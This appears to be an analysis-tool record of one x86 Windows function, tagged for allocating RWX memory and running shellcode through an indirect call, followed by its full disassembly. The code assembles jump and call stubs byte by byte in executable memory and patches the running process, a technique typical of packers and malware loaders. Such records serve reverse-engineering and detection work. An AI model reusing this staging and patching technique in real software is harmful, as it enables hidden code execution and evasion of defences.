Function at 0x4019fc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcbc
push ebx
push esi
push edi
mov esi, 0x4536a8
mov eax, 0x44f9b0
call fcn.00405f20
mov edx, dword [0x453238]
xor ebx, ebx
mov dword [ebp - 0x34], edx
push 0x44f4b2
push 1
push 1
push 0
call sub.KERNEL32.DLL_CreateSemaphoreA
mov dword [0x4534d0], eax
call fcn.00401df4
sub eax, 6
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x3c]
push eax
lea edx, [ebp - 0x324]
push edx
lea ecx, [ebp - 0x220]
push ecx
push 0
call fcn.00401694
add esp, 0x10
test eax, eax
je 0x401d85
mov eax, dword [0x4534d0]
push eax
call sub.KERNEL32.DLL_CloseHandle
cmp byte [ebp - 0x220], 0
je 0x401aaa
mov word [ebp - 0x18], 8
lea edx, [ebp - 4]
push edx
call fcn.004036b4
pop ecx
inc dword [ebp - 0xc]
mov word [ebp - 0x18], 0x14
dec dword [ebp - 0xc]
push 2
lea ecx, [ebp - 4]
push ecx
call fcn.00403708
mov word [ebp - 0x18], 0
add esp, 8
push 0x1c8
lea eax, [ebp - 0x220]
push eax
push 0x4534e0
call fcn.00405b60
add esp, 0xc
push esi
mov esi, 0x44f3ae
lea edi, [ebp - 0x344]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
push 0x1c8
lea eax, [ebp - 0x344]
push eax
push 0x64
push 0x4534e0
call fcn.00403b6c
add esp, 0x10
cmp byte [ebp - 0x214], 0
je 0x401b1a
cmp byte [ebp - 0x21e], 2
je 0x401b1a
mov ecx, 0x4534e0
mov edx, 0x71
push dword [ecx + edx*4]
dec edx
jns 0x401b0e
call dword [0x4532ac]
sub dword [ebp - 0x3c], 0x1c8
cmp byte [ebp - 0x218], 0
je 0x401b6a
mov eax, dword [0x44f378]
push eax
call fcn.0040cc78
pop ecx
mov dword [ebp - 0x44], eax
push 4
push 0x1000
mov edx, dword [ebp - 0x44]
push edx
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov edi, eax
mov eax, dword [ebp - 0x44]
push eax
push edi
mov edx, dword [ebp - 0x3c]
push edx
mov ecx, dword [0x44f378]
push ecx
call fcn.0040cbf8
add esp, 0x10
mov dword [ebp - 0x3c], eax
jmp 0x401b92
push 4
push 0x1000
mov eax, dword [ebp - 0x3c]
push eax
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov edi, eax
mov eax, dword [ebp - 0x3c]
push eax
mov edx, dword [0x44f378]
push edx
push edi
call fcn.00405b60
add esp, 0xc
cmp dword [0x4536c0], 0
je 0x401bae
push 0x8000
push 0
mov ecx, dword [0x44f378]
push ecx
call sub.KERNEL32.DLL_VirtualFree
lea eax, [ebp - 0x324]
push eax
lea edx, [ebp - 0x38]
push edx
lea ecx, [ebp - 0x30]
push ecx
mov eax, dword [ebp - 0x3c]
push eax
push ebx
push edi
call fcn.00401e78
add esp, 0x18
test eax, eax
jne 0x401bed
push 0x8000
push 0
push edi
call sub.KERNEL32.DLL_VirtualFree
xor eax, eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
jmp 0x401da4
push 0x8000
push 0
push edi
call sub.KERNEL32.DLL_VirtualFree
call sub.KERNEL32.DLL_GetCurrentProcess
mov dword [ebp - 0x48], eax
call fcn.004019e0
mov dword [0x4534d4], eax
mov ecx, 0x4534d4
mov dword [ebp - 0x4c], ecx
lea eax, [ebp - 0x2c]
push eax
push 0x40
mov edx, dword [ebp - 0x30]
push edx
mov ecx, dword [ebp - 0x34]
push ecx
call sub.KERNEL32.DLL_VirtualProtect
test eax, eax
jne 0x401c3c
xor eax, eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
jmp 0x401da4
push 0x40
push 0x1000
push 0x64
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov edi, eax
xor ebx, ebx
mov dword [esi], edi
lea eax, [ebp - 0x30]
mov byte [edi + ebx], 0x6a
inc ebx
mov byte [edi + ebx], 0
inc ebx
mov byte [edi + ebx], 0x68
inc ebx
push 4
push eax
add edi, ebx
push edi
call fcn.00405b60
add esp, 0xc
add ebx, 4
mov eax, dword [esi]
mov byte [eax + ebx], 0x68
inc ebx
push 4
push 0x4534c8
add eax, ebx
push eax
call fcn.00405b60
add ebx, 4
mov eax, dword [esi]
add esp, 0xc
lea edx, [ebp - 0x34]
mov byte [eax + ebx], 0x68
inc ebx
push 4
push edx
add eax, ebx
push eax
call fcn.00405b60
add ebx, 4
mov eax, dword [esi]
add esp, 0xc
lea edx, [ebp - 0x48]
mov byte [eax + ebx], 0x68
inc ebx
push 4
push edx
add eax, ebx
push eax
call fcn.00405b60
mov eax, dword [esi]
add ebx, 4
add esp, 0xc
lea edx, [ebp - 0x4c]
mov byte [eax + ebx], 0xff
inc ebx
mov byte [eax + ebx], 0x15
inc ebx
push 4
push edx
add eax, ebx
push eax
call fcn.00405b60
mov eax, dword [esi]
add ebx, 4
add esp, 0xc
mov byte [eax + ebx], 0x8b
inc ebx
mov byte [eax + ebx], 0xe5
inc ebx
mov byte [eax + ebx], 0x5d
inc ebx
mov byte [eax + ebx], 0x8b
inc ebx
mov byte [eax + ebx], 0xe5
inc ebx
mov byte [eax + ebx], 0x5d
inc ebx
mov byte [eax + ebx], 0x83
inc ebx
mov byte [eax + ebx], 0xc4
inc ebx
mov byte [eax + ebx], 8
inc ebx
mov byte [eax + ebx], 0xe9
inc ebx
mov edx, dword [ebp - 0x40]
mov ecx, dword [esi]
sub ecx, edx
mov edi, edx
sub ecx, 5
mov edx, dword [ebp - 0x21c]
mov dword [0x4534d8], ecx
add edx, dword [0x453238]
mov dword [ebp - 0x38], edx
lea edx, [ebx + 4]
mov ecx, dword [ebp - 0x38]
sub ecx, dword [esi]
sub ecx, edx
add ebx, eax
mov dword [ebp - 0x50], ecx
lea ecx, [ebp - 0x50]
push 4
push ecx
push ebx
call fcn.00405b60
add esp, 0xc
lea eax, [ebp - 0x57]
mov byte [ebp - 0x58], 0xe9
push 4
push 0x4534d8
push eax
call fcn.00405b60
add esp, 0xc
lea eax, [ebp - 0x58]
push 0
push 5
push eax
push edi
mov edx, dword [ebp - 0x48]
push edx
call sub.KERNEL32.DLL_WriteProcessMemory
jmp 0x401d98
push 0x10
push 0x44f4db
push 0x44f4c2
push 0
call sub.USER32.DLL_MessageBoxA
xor eax, eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret